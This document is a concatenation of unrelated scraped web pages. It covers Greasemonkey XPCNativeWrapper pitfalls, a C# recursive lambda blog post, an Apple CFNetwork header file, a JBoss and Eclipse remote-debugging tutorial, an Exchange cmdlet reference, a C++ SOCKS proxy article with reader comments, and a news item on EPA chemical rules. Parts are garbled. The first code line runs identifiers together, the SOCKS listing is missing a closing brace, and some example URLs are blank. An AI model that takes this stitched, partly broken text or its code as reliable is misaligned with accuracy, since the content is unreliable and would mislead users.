var elmFoo = document.getElementById('foo'); elmFoo.pitfallsXPCNativeWrappersscrollIntoViewscrollIntoView();
This does not work in Greasemonkey scripts, because elmFoo is an XPCNativeWrapper, and XPCNativeWrappers do not call the scrollIntoView method on the underlying wrapped element. Instead, you need to use the special wrappedJSObject property of the XPCNativeWrapper object to get a reference to the real element, and then call its scrollIntoView method:
var elmFoo = document.getElementById('foo'); var elmUnderlyingFoo = elmFoo.wrappedJSObject || elmFoo; elmUnderlyingFoo.scrollIntoView();
It is important to note that this is vulnerable to a malicious remote page redefining the scrollIntoView method to do something other than scrolling the viewport. There is no general solution to this problem.
Pitfall #7: location
There are several ways for regular JavaScript code to work with the current page's URL. The window.location object contains information about the current URL, including href (the full URL), hostname (the domain name), and pathname (the part of the URL after the domain name). You can programmatically move to a new page by setting window.location.href to another URL. But there is also shorthand for this. The window.location object defines its href attribute as a default property, which means that you can move to a new page simply by setting window.location:
window.location = "";
In regular JavaScript code, this sets the window.location.href property, which jumps to the new page. But in Greasemonkey scripts, this doesn't work, because the window object is an XPCNativeWrapper, and XPCNativeWrappers don't support setting the default properties of the wrapped object. This means that setting window.location in a Greasemonkey script will not actually jump to a new page. Instead, you need to explicitly set window.location.href:
window.location.href = "";
This also applies to the document.location object.
Pitfall #8: Calling Remote Page Scripts
Occasionally, a user script needs to call a function defined by the remote page. For example, there are several Greasemonkey scripts that integrate with Gmail (), Google's web mail service. Gmail is heavily dependent on JavaScript, and user scripts that wish to extend it frequently need to call functions that the original page has defined:
var searchForm = getNode("s"); searchForm.elements.namedItem("q").value = this.getRunnableQuery(); top.js._MH_OnSearch(window, 0);
The original page scripts don't expect to get XPCNativeWrappers as parameters. Here, the _MH_OnSearch function defined by the original page expects the real window as its first argument, not an XPCNativeWrapper around the window. To solve this problem, Greasemonkey defines a special variable, unsafeWindow, which is a reference to the actual window object:
var searchForm = getNode("s"); searchForm.elements.namedItem("q").value = this.getRunnableQuery(); top.js._MH_OnSearch(unsafeWindow, 0);.
Greasemonkey also defines unsafeDocument, which is the actual document object. As with unsafeWindow, you should never use it except to pass it as a parameter to page scripts that expect the actual document object.
Pitfall #9: watch
Earlier in this hack, I mentioned the watch method, which is available on every JavaScript object. It allows you to intercept assignments to an object's properties. For instance, you could set up a watch on the window.location object to watch for scripts that tried to navigate to a new page programmatically:
window.watch("location", watchLocation); window.location.watch("href", watchLocation);
In the context of a user script, this will not work. You need to set the watch on the unsafeWindow object:
unsafeWindow.watch("location", watchLocation); unsafeWindow.location.watch("href", watchLocation);
Note that this is still vulnerable to a malicious page redefining the watch method itself. There is no general solution to this problem.
Pitfall #10: style
In JavaScript, every element has a style attribute with which you can get and set the element's CSS styles. Firefox also supports a shorthand method for setting multiple styles at once:
var elmFoo = document.getElementById("foo"); elmFoo.setAttribute("style", "margin:0; padding:0;");
This does not work in Greasemonkey scripts, because the object returned by document.getElementById is an XPCNativeWrapper, and XPCNativeWrappers do not support this shorthand for setting CSS styles in bulk. You will need to set each style individually:
var elmFoo = document.getElementById("foo"); elmFoo.style.margin = 0; elmFoo.style.padding = 0;
Conclusion
This is a long and complicated hack, and if you're not thoroughly confused by now, you probably haven't been paying attention. The security concerns that prompted the architectural changes in Greasemonkey 0.5 are both subtle and complex, but it's important that you understand them.
The trade-off for this increased security is increased complexity, specifically the limitations and quirks of XPCNativeWrappers. There is not much I can do to make this easier to digest, except to assure you that all the scripts in this book work. I have personally updated all of them and tested them extensively in Greasemonkey 0.5. They can serve as blueprints for your own hacks. | http://commons.oreilly.com/wiki/index.php?title=Greasemonkey_Hacks/Getting_Started&diff=12279&oldid=9630 | CC-MAIN-2014-42 | en | refinedweb |
On Monday 17 January 2011, Ralf Wildenhues wrote: > [ Cc:ing Jim because of ideas at the end ] > > *. > Then, there are issues that the code exposes that I think we should > address: > > >. > > > ---. > > Why not document framework_failure_? > Because it doesn't really fit into the setup pattern of automake tests: we never really use complex setups (almost always, `cat', `echo' and maybe `cp' are all that is used!), so there's little use for the function. While copying it in is OK, IMVHO there's no reason to document it ATM. OTOH, having a generic `hard_error_()' or `hard_fail_()' function might be much more useful ... Maybe I might submit a patch to gnulib to have it defined "upstream" first? Even if I currently lack a copyright assignment for gnulib, I guess that the patch should be small and obvious enough to be classified as a "tiny change"... > > For tests that use the `parallel-tests' Automake option, set the shell > > variable `parallel_tests' to "yes" before including ./defs. Also, > > use for them a name that ends in `-p.test' and does not clash with any > > > --- a/tests/defs.in > > +++ b/tests/defs.in > > > @@ -88,6 +88,31 @@ echo "$PATH" > > # (See note about `export' in the Autoconf manual.) > > export PATH > > > > +# Print warnings (e.g., about skipped and failed tests) to this file > > number. > > +# Override by putting, say: > > +# stderr_fileno_=9; export stderr_fileno_; exec 9>&2; $(SHELL) > > +# in the definition of TESTS_ENVIRONMENT. > >. > Note that I intended the above as a suggestion for the *user*, not for the developer! I know quite well that TESTS_ENVIRONMENT is a user-reserved variable. That said, I agree this might be seen as a usability issue. >) > I like this last proposal. In fact, it has never struck me as particularly clear or user-friendly that one might have to resort to TESTS_ENVIRONMENT not only to define/extend the testsuite environment, but also a possibly fully-fledged setup for the testsuite. > before $(TESTS_ENVIRONMENT). Then the developer could do > TESTS_SETUP = stderr_fileno_=9; export stderr_fileno_; exec 9>&2; > > What do you think? > That's good, as long as the above is substituted with: AM_TESTS_SETUP = stderr_fileno_=9; export stderr_fileno_; exec 9>&2; We don't really want to start invading the user namespace again, right? :-) > I further wonder whether we should finally introduce > $(AM_TESTS_ENVIRONMENT) and reserve the non-AM_ variable > for environment settings for the user. > Definitely yes in my opinion. > What do you think? > See above :-) > > +# This is useful when using automake's parallel tests mode, to print > > +# the reason for skip/failure to console, rather than to the .log files. > > +: ${stderr_fileno_=2} > > + > > +warn_() { echo "$@" 1>&$stderr_fileno_; } > > +fail_() { warn_ "$me: failed test: $@"; Exit 1; } > > +skip_() { warn_ "$me: skipped test: $@"; Exit 77; } > > +framework_failure_() { warn_ "$me: set-up failure: $@"; Exit 99; } > > space before () > Sorry, I thought we wanted to be closer to the original as possible. At this point, we might as well go directly with: warn_ () { echo "$@" 1>&$stderr_fileno_ } etc. WDYT? Regards, Stefano | http://lists.gnu.org/archive/html/automake-patches/2011-01/msg00216.html | CC-MAIN-2014-42 | en | refinedweb |
This post was originally published here.
I saw a couple of posts on recursive lambda expressions, and I thought it would be fun to write a class to encapsulate those two approaches. BTW, I’m running this on Orcas Beta 1, so don’t try this at home (VS 2005) kids. Let’s say I wanted to write a single Func variable that computed the factorial of a number:
Func<int, int> fac = x => x == 0 ? 1 : x * fac(x-1);
When I try to compile this, I get a compiler error:
Use of unassigned local variable 'fac'
That’s no good. The C# compiler always evaluates the right hand expression first, and it can’t use a variable before it is assigned.
Something of a solution
Well, the C# compiler couldn’t automagically figure out my recursion, but I can see why. So I have a couple of different solutions, one where I create an instance of a class that encapsulates my recursion, and another where a static factory method gives me a delegate to call. I combined both approaches into one class:
public class RecursiveFunc<T>
{
private delegate Func<A, R> Recursive<A, R>(Recursive<A, R> r);
private readonly Func<Func<T, T>, Func<T, T>> f;
public RecursiveFunc(Func<Func<T, T>, Func<T, T>> higherOrderFunction)
{
f = higherOrderFunction;
}
private Func<T, T> Fix(Func<Func<T, T>, Func<T, T>> f)
{
return t => f(Fix(f))(t);
}
public T Execute(T value)
{
return Fix(f)(value);
}
public static Func<T, T> CreateFixedPointCombinator(Func<Func<T, T>, Func<T, T>> f)
{
Recursive<T, T> rec = r => a => f(r(r))(a);
return rec(rec);
}
}
Using an instance of a class
The idea behind using a class is it might be more clear to the user to have an instance of a concrete type, and call methods on that type instead of calling a delegate directly. Let’s look at an example of this usage, with the Fibonacci and factorial recursive methods:
[TestMethod]
public void RecursiveFunc_WithFactorial_ComputesCorrectly()
{
var factorial = new RecursiveFunc<int>(fac => x => x == 0 ? 1 : x * fac(x - 1));
Assert.AreEqual(1, factorial.Execute(1));
Assert.AreEqual(6, factorial.Execute(3));
Assert.AreEqual(120, factorial.Execute(5));
}
[TestMethod]
public void RecursiveFunc_WithFibonacci_ComputesCorrectly()
{
var fibonacci = new RecursiveFunc<int>(fib => x =>
(x == 0) || (x == 1) ? x : fib(x - 1) + fib(x - 2)
);
Assert.AreEqual(0, fibonacci.Execute(0));
Assert.AreEqual(1, fibonacci.Execute(1));
Assert.AreEqual(1, fibonacci.Execute(2));
Assert.AreEqual(2, fibonacci.Execute(3));
Assert.AreEqual(5, fibonacci.Execute(5));
Assert.AreEqual(55, fibonacci.Execute(10));
}
So in each case I can pass in the Func delegate I was trying to create (without success) in the compiler error example at the top of the post. I instantiate the class with my recursive function, and call Execute to execute that function recursively. Not too shabby.
Using a static factory method
With a static factory method, calling the recursive function looks a little prettier. Again, here are two examples that use the Fibonacci sequence and factorials for recursive algorithms:
[TestMethod]
public void FixedPointCombinator_WithFactorial_ComputesCorrectly()
{
var factorial = RecursiveFunc<int>.CreateFixedPointCombinator(fac => x => x == 0 ? 1 : x * fac(x - 1));
Assert.AreEqual(1, factorial(1));
Assert.AreEqual(6, factorial(3));
Assert.AreEqual(120, factorial(5));
}
[TestMethod]
public void FixedPointCombinator_WithFibonacci_ComputesCorrectly()
{
var fibonacci = RecursiveFunc<int>.CreateFixedPointCombinator(fib => x =>
(x == 0) || (x == 1) ? x : fib(x - 1) + fib(x - 2)
);
Assert.AreEqual(0, fibonacci(0));
Assert.AreEqual(1, fibonacci(1));
Assert.AreEqual(1, fibonacci(2));
Assert.AreEqual(2, fibonacci(3));
Assert.AreEqual(5, fibonacci(5));
Assert.AreEqual(55, fibonacci(10));
}
After some thought on both, I think I like the second way better. Calling the Func delegate directly seems to look a little nicer, and it saves me from having to have some random Fibonacci or factorial helper class. Of course, I could still have those helper methods somewhere, but where’s the fun in that? Now if only I had taken a lambda calculus class in college…
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/* * NetworkInternal.h * CFNetwork * * Created by rew on Tue Sep 26 2000. * Copyright (c) 2000-2004 Apple Computer, Inc. All rights reserved. * */ #ifndef __CFNETWORKINTERNAL__ #define __CFNETWORKINTERNAL__ #include <CoreFoundation/CFRuntime.h> #include <CFNetwork/CFNetwork.h> #include <dns_sd.h> #include "CFNetworkThreadSupport.h" /* Include here since it used to live here and files rely on that. */ #include "ProxySupport.h" /* Include here since it used to live here and files rely on that. */ #if defined(__cplusplus) extern "C" { #endif // An error domain which is either kCFStreamErrorDomainPOSIX or kCFStreamErrorDomainWinSock, depending on the platform. #if defined(__WIN32__) #define _kCFStreamErrorDomainNativeSockets kCFStreamErrorDomainWinSock #else #define _kCFStreamErrorDomainNativeSockets kCFStreamErrorDomainPOSIX #endif /* Use CF's logging routine. */ #define __kCFLogAssertion 15 CF_EXPORT void CFLog(int p, CFStringRef str, ...); /* Bit manipulation macros */ /* Bits are numbered from 31 on left to 0 on right */ /* May or may not work if you use them on bitfields in types other than UInt32, bitfields the full width of a UInt32, or anything else for which they were not designed. */ #define __CFBitfieldMask(N1, N2) ((((UInt32)~0UL) << (31UL - (N1) + (N2))) >> (31UL - N1)) #define __CFBitfieldGetValue(V, N1, N2) (((V) & __CFBitfieldMask(N1, N2)) >> (N2)) #define __CFBitfieldSetValue(V, N1, N2, X) ((V) = ((V) & ~__CFBitfieldMask(N1, N2)) | (((X) << (N2)) & __CFBitfieldMask(N1, N2))) #define __CFBitfieldMaxValue(N1, N2) __CFBitfieldGetValue(0xFFFFFFFFUL, (N1), (N2)) #define __CFBitIsSet(V, N) (((V) & (1UL << (N))) != 0) #define __CFBitSet(V, N) ((V) |= (1UL << (N))) #define __CFBitClear(V, N) ((V) &= ~(1UL << (N))) #ifdef __CONSTANT_CFSTRINGS__ #define CONST_STRING_DECL(S, V) const CFStringRef S = (const CFStringRef)__builtin___CFStringMakeConstantString(V); #else /* Hack: we take a copy of this from CFInternal.h. */ struct CF_CONST_STRING { CFRuntimeBase _base; const char *_ptr; uint32_t _length; }; // On Windows, DLL's don't let us init the _base member to be &__CFConstantStringClassReference because // it is not a constant. Since for now we don't have ObjC around, and we don't care about toll-free // bridging, we can just init this field to NULL for now. // CF_EXPORT int __CFConstantStringClassReference[]; #if defined(__ppc__) #define CONST_STRING_DECL(S, V) \ static struct CF_CONST_STRING __ ## S ## __ = {{NULL/*&__CFConstantStringClassReference*/, 0x0000, 0x07c8}, V, sizeof(V) - 1}; \ const CFStringRef S = (CFStringRef) & __ ## S ## __; #elif defined(__i386__) #define CONST_STRING_DECL(S, V) \ static struct CF_CONST_STRING __ ## S ## __ = {{NULL/*&__CFConstantStringClassReference*/, 0x07c8, 0x0000}, V, sizeof(V) - 1}; \ const CFStringRef S = (CFStringRef) & __ ## S ## __; #else #error undefined architecture #endif #endif /*! @function __CFNetworkLoadFramework @discussion Loads the framework image pointed to by framework_path. This function will use the proper dyld suffix and search methods for the given situation. @param framework_path The path to the framework to be loaded. @result Returns a pointer to the image on success. It returns NULL on failure. */ extern void* __CFNetworkLoadFramework(const char* const framework_path); /*! @function _CFNetworkCFStringCreateWithCFDataAddress @discussion Creates a dotted IP string for the address given. @param alloc Allocator reference to use for the string allocation @param addr CFDataRef containing the struct sockaddr with the address. @result A CFStringRef containing the dotted IP string for the address. Returns NULL if the address could not be converted to dotted IP. Currently AF_INET and AF_INET6 are supported. */ extern CFStringRef _CFNetworkCFStringCreateWithCFDataAddress(CFAllocatorRef alloc, CFDataRef addr); /*! @function _CFStringGetOrCreateCString @discussion Given a CFString, this function attempts to get the bytes of the string and create a C-style (null terminated) string from them. If the given buffer is too small, one of adequate length will be allocated with the given allocator. It is the client's responsibility to deallocate the buffer if the returned buffer is not the same buffer which was passed. @param allocator Allocator to be used for allocation should the given buffer not be big enough. @param string CFString from which the bytes should be retrieved. Must be non-NULL. @param buffer Buffer into which the bytes should be placed. If this buffer is not big enough, one will be allocated. Use NULL to always allocate. @param bufferLength Pointer to the size of the incoming buffer. Upon a successful return, this will contain the number of bytes in the buffer, not counting the null termination. Must be non-NULL if buffer is non-NULL. @param encoding String encoding to be used for decoding the bytes. @result Returns the buffer holding the bytes. If the passed in buffer pointer is not the same as the result buffer pointer, the client must deallocate the buffer. */ extern UInt8* _CFStringGetOrCreateCString(CFAllocatorRef allocator, CFStringRef string, UInt8* buffer, CFIndex* bufferLength, CFStringEncoding encoding); /*! @function _DNSServiceErrorToCFNetServiceError @discussion Given a DNSService error, this returns the appropriate CFNetService error. @param dnsError DNSServiceErrorType error. @result A SInt32 containing the equivalent CFNetService error. */ extern SInt32 _DNSServiceErrorToCFNetServiceError(DNSServiceErrorType dnsError); #if defined(__cplusplus) } #endif #endif /* __CFNETWORKINTERNAL__ */ | http://opensource.apple.com/source/CFNetwork/CFNetwork-129.18/CFNetworkInternal.h | CC-MAIN-2014-42 | en | refinedweb |
If a J2EE developer has deployed an application in an application server and wants to debug the application from the Eclipse IDE, the Eclipse IDE provides a remote debugger to connect to the application server and debug the application. Without a debugger, the error message has to be obtained from the application server's error logs.
With the remote debugger provided by Eclipse, breakpoints may be added to the application file, allowing you to debug the application in Eclipse. When an application is run in an application server like JBoss and the application generates an error, the application gets suspended and the Eclipse IDE Debug perspective displays the line that has generated the error. In this tutorial, we shall debug a JBoss application server application in Eclipse.
To debug, we will do the following:
We shall develop an example servlet application and deploy the application in JBoss. First, the servlet is run without any error; subsequently, an error is introduced into the servlet to demonstrate the remote debugging feature in Eclipse.
After installing the JBoss server and the Eclipse IDE, develop a
servlet application to run and debug in the JBoss server. The
example servlet application consists of a
doGet method
that prints out a
String message to the browser. The example
servlet, JBossServlet.java, is listed below:
package servlets; import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class JBossServlet extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { PrintWriter out = response.getWriter(); out.println("Eclipse Remote Debugging"); } }
Create a directory structure for a web application. Create a WEB-INF directory and a classes directory in the WEB-INF directory. Create a package directory, servlets, for the example servlet, and copy the JBossServlet.java file to the servlets directory. Create a web.xml deployment descriptor for the web application. Copy the web.xml file to the WEB-INF directory. The web.xml is as follows:
<?xml version="1.0" encoding="UTF-8"?> <web-app
xmlns="" version="2.4"
xmlns:xsi=""
xsi: <servlet> <display-name>JBossServlet</display-name> <servlet-name>JBossServlet</servlet-name> <servlet-class>servlets.JBossServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>JBossServlet</servlet-name> <url-pattern>/catalog</url-pattern> </servlet-mapping> </web-app>
The example servlet is mapped to the URL pattern /catalog. The structure of the web application is illustrated below.
/WEB-INF | | web.xml classes | servlets | JBossServlet.class
The compiling, packaging, and deploying of the web application is done in the Eclipse IDE with an Ant build.xml file. Develop an Ant build.xml file that consists of targets to compile the JBossServlet.java file and package and deploy the webapp.war web application. The build.xml file is listed below:
<project name="jbossApp" default="webapp" basedir="."> <property name="build" value="build"/> <property name="src" value="." /> <property name="jboss.deploy" value="C:\JBoss\jboss-4.0.2\server\default\deploy"/> <property name="dist" value="dist"/> <property name="j2sdkee" value="C:\J2sdkee1.4"/> <target name="init"> <tstamp/> <mkdir dir="${build}" /> <mkdir dir="${dist}" /> <mkdir dir="${build}/WEB-INF" /> <mkdir dir="${build}/WEB-INF/classes" /> </target> <target name="compile" depends="init"> <javac debug="true" classpath="${j2sdkee}/lib/j2ee.jar" srcdir="${src}/WEB-INF/classes"
destdir="${src}/WEB-INF/classes"> <include name="**/*.java" /> </javac> <copy todir="${build}/WEB-INF"> <fileset dir="WEB-INF" > <include name="web.xml" /> </fileset> </copy> <copy todir="${build}/WEB-INF/classes"> <fileset dir="${src}/WEB-INF/classes" > <include name="**/JBossServlet.class" /> </fileset> </copy> </target> <target name="webapp" depends="compile"> <war basedir="${build}" includes="**/*.class" destfile="${dist}/webapp.war" webxml="WEB-INF/web.xml"/> <copy file="${dist}/webapp.war" todir="${jboss.deploy}"/> </target> </project>
The build.xml file has the properties listed in the following table.
build.xml also has the following targets:
The
debug attribute of the
javac task
in the
build target is set to
true to
enable compilation in debug mode. By compiling an
application in debug mode, the line number that generates the
exception in a JBoss server application gets displayed in Eclipse's
Debug perspective.
Create a new project in the Eclipse IDE. Select File -> New -> Project, as shown in Figure 1.
Figure 1. New project
A new project gets added to the Eclipse IDE, as shown in Figure 5.
Figure 5. Eclipse JBoss project
Next, select File -> Import to import the example servlet source folder to the project. The project's src folder and build.xml file need to be imported if the src folder and build.xml file were not created in the Eclipse IDE. In the Import Select frame, select File System and click the Next button. In the Import File System frame, select the src folder and the build.xml file, and click the Finish button, as shown in Figure 6.
Figure 6. Importing file system
This adds the servlet source files to the project, as shown in Figure 7.
Figure 7. Servlet source files.
Figure 10.
JBossServlet in JBoss server
To remotely debug a JBoss application in Eclipse, start the
JBoss server in debug mode. Set the JBoss server to debug mode by
setting the debug options in the bin/run batch script file.
The debugging provided by JBoss is based on the Java Platform
Debugger Architecture (JPDA). Set the
JAVA_OPTS
variable as follows:
set JAVA_OPTS= -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=8787, server=y, suspend=n %JAVA_OPTS%
The different debug parameters are:
For further explanation of the debug settings, refer to the JPDA documentation.
To demonstrate the remote debugging feature of Eclipse, we need
to throw an exception in
JBossServlet. As an example,
add a
NullPointerException to
JBossServlet.java by replacing:
out.println("Eclipse JBoss Debugging");
with
String str=null; out.println(str.toString());
Next, configure a debug configuration for the Eclipse project. Select the Debug option in the Debug Option List, as shown in Figure 11.
Figure 11. Debug
This displays the Debug frame. In the Debug frame, select the Remote Java Application node. Right-click the node and select New, as shown in Figure 12.
Figure 12. New debug configuration.
Having configured a debug configuration for the example servlet
application deployed in the JBoss server, we shall debug the
servlet application in the Eclipse IDE. Create a webapp.war
web application from the modified (with the
NullPointerException)
JBossServlet.class
file with the build.xml file, as explained in the
"Developing a JBoss Application in Eclipse" section. Start the JBoss server.
With the debug options specified in the run batch file, the server
starts in debug mode.
Next, select the EclipseDebug debug configuration in the Debug frame. Click on the Debug button to connect the remote debugger to the JBoss server, as shown in Figure 16.
Figure 16. Connecting the remote debugger to the JBoss server
This connects the Eclipse remote debugger to the JBoss server. Select the Debug Perspective button to display Eclipse's debug perspective. In the Debug perspective, the remote debugger is shown connected to the JBoss server at localhost, port 8787, as shown in Figure 17.
Figure 17. Remote debugger connected to the JBoss server
Access the
JBossServlet in the JBoss server with the URL in a browser. Because
the servlet throws a
NullPointerException, the servlet
gets suspended with a
NullPointerException, as
indicated in the Debug perspective. The line that produced the
exception gets displayed, as shown in Figure 18.
Figure 18. JBoss server suspended at
NullPointerException
The line that throws the exception is
out.println(str.toString());. The servlet application
may be debugged with the different debug options listed by
selecting Run in the Eclipse IDE.
We remotely debugged an application deployed to the JBoss server in the Eclipse IDE. An application deployed in another application server such as WebLogic may also be debugged by configuring that server to start in debug mode.
Deepak Vohra is a NuBean consultant and a web developer.
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New-AcceptedDomain
Applies to: Exchange Server 2013
Topic Last Modified: 2014-04-14
This cmdlet is available only in on-premises Exchange Server 2013.
Use the New-AcceptedDomain cmdlet to create an accepted domain in your organization. An accepted domain is any SMTP namespace for which an Exchange organization sends and receives email.
New-AcceptedDomain -DomainName <SmtpDomainWithSubdomains> -Name <String> [-AuthenticationType <Managed | Federated>] [-CatchAllRecipient <RecipientIdParameter>] [-Confirm [<SwitchParameter>]] [-DomainController <Fqdn>] [-DomainType <Authoritative | ExternalRelay | InternalRelay>] [-InitialDomain <$true | $false>] [-LiveIdInstanceType <Consumer | Business>] [-MailFlowPartner <MailFlowPartnerIdParameter>] [-MatchSubDomains <$true | $false>] [-Organization <OrganizationIdParameter>] [-OutboundOnly <$true | $false>] [-SkipDnsProvisioning . | http://technet.microsoft.com/en-us/library/aa995975.aspx | CC-MAIN-2014-42 | en | refinedweb |
SOCKS'�a Firewall Realization on an Object-Oriented Basis
Introduction
The SOCKS firewall is a program that is capable of secured proxying, being compatible with various authentcation levels. However, as described in RFC 1928, there is currently only basic authentication. In this conspect, we will try to compose the SOCKS model for proper implementation of firewall architecture design for both current standard and further developing.
Development
Figure 1 shows the hierarchy of SOCKS implementation. As can be seen, 'CSocks4' and 'CSocks5' inherit common connection-accept routines. The difference is how each type of firewall is proxying the incoming client request by virtual method 'CSocks::ForceConnection(u_int sock)'. To create multi-threaded applications using this class and maybe trace connections, the 'pNotifyProc' is defined; it is a pointer to the procedure of type u_int PSOCKSNOTIFYPROC(u_int sock). After the connection has come, the call traps to this procedure.
After client request has succeeded, the SOCKS firewall changes its state to the negotiation level using 'CSocks::SocksTCPTunneling' for TCP mode or 'CSocks::SocksUDPTunneling' for UDP-bound mode.
Further Improvement of the SOCKS Standard
For this time, SOCKS firewall can be compatible only with the basic authentication level. However, it's possible to introduce additional SASL layer(s) (for instance, OpenSSL).
Creating a Multi-Threaded SOCKS Firewall
In demo below, we will create a multi-threaded SOCKS server using a trace map by programming a notification procedure map. This demo works on Linux/SCO/NetBSD and, of course, Win32.
/* * Copyright 2003 © Alumni<alumni@ok.kz>, * A basic multi-threaded SOCKS firewall * Platforms: Win32, NetBSD * To compile on NetBSD: set '#define _NETBSD_SOCKS' */ #include "common.h" #include "csocks4.h" #include "csocks5.h" #undef USE_SOCKS4 #undef USE_SOCKS5 #undef _SOCKS_MULTIHTREADED #define USE_SOCKS5 #define _SOCKS_MULTITHREADED #define MAX_THREAD_COUNT 17 #ifdef USE_SOCKS4 #define CSocksType CSocks4 #else #define CSocksType CSocks5 #endif #ifndef _SOCKS_MULTITHREADED CSocksType* socks; #elif defined(_WIN32_SOCKS) && defined(_SOCKS_MULTITHREADED) CRITICAL_SECTION cs; static u_int uTotalThreads; static u_long uThreads[MAX_THREAD_COUNT]; static CSocksType* socks[MAX_THREAD_COUNT]; u_int GetFreeIndex(); u_int SocksSerialize(); u_long WINAPI SocksThread(LPVOID pParam); bool DeleteThread(CSocksType* pSock); u_int __stdcall NotifyProc(u_int sock); u_int GetFreeIndex() { for(u_int i=0;i<MAX_THREAD_COUNT;i++) if(socks[i]==NULL) return(i); return(-1); } u_int SocksSerialize() { u_int i = GetFreeIndex(); if(uTotalThreads>=MAX_THREAD_COUNT || i==-1) return(-1); try { socks[i] = new CSocksType(); uTotalThreads++; socks[i]->pNotifyProc = socks[0]->pNotifyProc; } catch(...) { perror("Error during SOCKS serialization\n"); return(-1); }; return(i); bool DeleteThread(CSocksType* pSock) { u_int i; try { for(i=0;i<MAX_THREAD_COUNT;i++) if(socks[i]==pSock) { delete socks[i]; socks[i] = NULL; return(true); } } catch(...) { return(false); }; return(false); } u_long WINAPI SocksThread(LPVOID pParam) { CSocksType* pSocks = (CSocksType*)pParam; try { pSocks->ForceConnection(pSocks->uAccept); closesock(pSocks->uAccept); if(pSocks->LastError!=SOCKS_ERROR_NONE) fprintf(stdout,"Error: %s\n",pSocks->GetLastError()); EnterCriticalSection(&cs); DeleteThread(pSocks); LeaveCriticalSection(&cs); } catch(...) { perror("SocksThread caused exception\n"); }; EnterCriticalSection(&cs); uTotalThreads--; LeaveCriticalSection(&cs); return(1); } u_int __stdcall NotifyProc(u_int sock) { register u_int i; HANDLE hThread; EnterCriticalSection(&cs); try { if((i = SocksSerialize())!=-1) { socks[i]->uAccept = sock; hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) SocksThread, socks[i],CREATE_SUSPENDED, &uThreads[i]); if(hThread==NULL) { uTotalThreads--; delete socks[i]; socks[i] = NULL; } } else closesock(sock); } catch(...) { perror("NotifyProc caused exception\n"); closesock(sock); }; LeaveCriticalSection(&cs); if(hThread) ResumeThread(hThread); return(1); } #elif defined(_NETBSD_SOCKS) && defined(_SOCKS_MULTITHREADED) CSocksType socks; u_int __stdcall NotifyProc(u_int sock); u_int __stdcall NotifyProc(u_int sock) { if(sock) socks.ForceConnection(sock); if(fork()==-1) exit(0); socks.PrepareListening(); socks.StartChaining(); exit(0); return(1); } #endif int main(int argc, char** argv) { #ifdef _WIN32_SOCKS WSAData wsadata; if(WSAStartup(0x002,&wsadata)) exit(1); #ifdef _SOCKS_MULTITHREADED InitializeCriticalSection(&cs); for(u_int i=0;i<MAX_THREAD_COUNT;i++) socks[i] = NULL; uTotalThreads = 0; #endif //_SOCKS_MULTITHREADED #endif //_WIN32_SOCKS #ifndef _SOCKS_MULTITHREADED socks = new CSocksType(); if(!socks->PrepareListening()) exit(1); for(;;) { try { socks->LastError = SOCKS_ERROR_NONE; socks->StartChaining(); if(socks->LastError!=SOCKS_ERROR_NONE) fprintf(stdout,"Error: %s\n",socks->GetLastError()); fprintf(stdout,"\n"); } catch(...) { perror("Undefined exception handled: exitting abnormally\n"); exit(1); }; } #elif defined(_WIN32_SOCKS) uTotalThreads = 1; socks[0] = new CSocksType(); if(!socks[0]->PrepareListening()) exit(1); socks[0]->pNotifyProc = (PSOCKSNOTIFYPROC)NotifyProc; for(;;) socks[0]->StartChaining(); #elif defined(_NETBSD_SOCKS) try { socks.pNotifyProc = (PSOCKSNOTIFYPROC)NotifyProc; NotifyProc(0); } catch(...) { perror("Undefined exception handled: exiting abnormally\n"); exit(1); } #endif return(0); }
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don't know how to RunPosted by Legacy on 10/06/2003 12:00am
Originally posted by: priyanjith
Please tell me how run and what are the parameters i have to give to run this code. When I try to run this code it gives "TC: _ " in a doc prompt I don't know what to do.
Please help me.
PriyanjithReply
ftp doesnt work?Posted by Legacy on 07/27/2003 12:00am
Originally posted by: donga
thanks for sources,
but i found that ftp doesn't work (PASV)
http/https works fine, but ftp doesnt.
what is needed to make it wotk?
any ideas?
:((Reply
Great article, but the term "Firewall" is.... at least confusingPosted by Legacy on 07/26/2003 12:00am
Originally posted by: Christoph
Hi,
first of all, please let me say that I really, really appreciate your article. It's great to see someone working on REAL-WORLD applications, not the hyped .NET stuff all the time ;-)
It's also relief to see that I'm not the only one who has to develop for other operating systems than Win32. Although this web site primarily targets Windows development, one should always have an open mind for other environments, too.
The first thing I was actually confused about is your usage of the term "Firewall". Yes, I know that the SOCKS protocol refers to that same term. A TCP- or UDP-Listener, that runs on one specific port and either transparently tunnels connections or implements a protocol (like SOCKS) for handshake, and then tunnels traffic, is a Proxy server. Ok, a Proxy server with authentication capabilities.
A firewall operates on lower OSI levels to intercept ANY package that comes to the server. With a firewall, I can deny any traffic on certain ports, while allowing other ports like 80, 22 and the like. But surely this is not possible to implement in a user mode application, and that's were all portability ends. On Windows, one would have to work on the NDIS layer, on Unix, maybe libpcap could help. I know that this wouldn't be a topic for CodeGuru; I just want to say that the term "Firewall" for a Proxy application is confusing. Nothing more.
Another thing that surprised me is your usage of the select() call. Though I do not know on which Unices you tested your application, but
FD_SET(sres, &fd);
FD_SET(sdest, &fd);
select (2, &fd, NULL, NULL, &tv);
is not portable. At least not on Linux, and not on Solaris ( I had the same problem when porting an app from Windows ;-) ). The first argument must be the maximum file descriptor, plus 1. So your code should look like
FD_SET(sres, &fd);
FD_SET(sdest, &fd);
select (max (sres, sdest) + 1, &fd, NULL, NULL, &tv);
Finally, please keep on the good work. CodeGuru needs much more articles of the quality that you have provided. Within the last months, many articles regarding "How can I change the background color of a button", "How can I move my text 2 pixels to the left" and the like were published here... Although these topics had been discussed years ago, when MFC was all new and sexy, some people like to repeat topics that had been discussed long before :-(
Thanks for your great article!
- Christoph
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13 September 2011 23:43 [Source: ICIS news]
WASHINGTON (ICIS)--A proposed list of “chemicals of concern” from the US Environmental Protection Agency (EPA) has been awaiting White House approval for more than a year, and two ?xml:namespace>
Senator Frank Lautenberg (Democrat-New Jersey) and Senator Sheldon Whitehouse (
“[The] EPA sent the proposed rule to [the OMB] for review on 12 May 2010, nearly 500 days ago and well beyond the 90 days authorised for review,” the two senators said.
The White House OMB must give final approval to all administration proposed rules, regulations and policies.
The administration’s long delay on the EPA’s proposed rule has come under new scrutiny in the wake of President Barack Obama’s decision earlier this month to quash a separate EPA proposal that would have tightened ozone emissions standards nationwide.
